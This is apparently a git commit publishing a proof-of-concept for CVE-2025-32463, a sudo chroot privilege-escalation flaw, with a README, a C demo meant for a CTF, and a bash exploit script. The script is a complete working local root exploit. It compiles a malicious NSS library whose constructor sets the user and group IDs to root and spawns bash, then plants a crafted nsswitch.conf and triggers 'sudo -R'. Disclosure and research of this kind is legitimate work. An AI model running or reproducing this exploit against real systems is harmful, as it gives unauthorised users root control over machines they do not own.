Add PoC for CVE-2025-32463 Sudo chroot EoP

This commit is contained in:
Rich Mirch 2025-07-03 15:40:10 -05:00
commit a2edc57cb8
3 changed files with 65 additions and 0 deletions

12
README.md Normal file
View file

@ -0,0 +1,12 @@
# CVE-2025-32463-sudo-chwoot
### PoC for CVE-2025-32463 - Sudo chroot Elevation of Privilege Vulnerability
- Original PoC [sudo-chwoot.sh](sudo-chwoot.sh)
- CTF Demo [chwoot-demo.c](chwoot-demo.c)
#### Docs
- Write-up: https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot
- Advisory: https://www.sudo.ws/security/advisories/chroot_bug/
#### Other PoCs
- Dockerized version https://github.com/pr0v3rbs/CVE-2025-32463_chwoot

26
chwoot-demo.c Normal file
View file

@ -0,0 +1,26 @@
/*
Description: Simulate behavior of CVE-2025-32463 - sudo EoP via chroot.
Possible future CTF challenge? :)
gcc -Wall -o chwoot-demo chwoot-demo.c
cp 4755 chwoot-demo
mv chwoot-demo /usr/bin
Then get a root shell as a low priv user
*/
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <grp.h>
#include <netdb.h>
int main() {
chdir("/tmp/stage");
int saved_root = open("/",O_RDONLY);
int saved_cwd = open(".",O_RDONLY);
chroot("/tmp/stage");
chdir("/");
gethostbyname("woot");
fchdir(saved_root);
chroot(".");
fchdir(saved_cwd);
getgrnam("got root?");
}

27
sudo-chwoot.sh Normal file
View file

@ -0,0 +1,27 @@
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}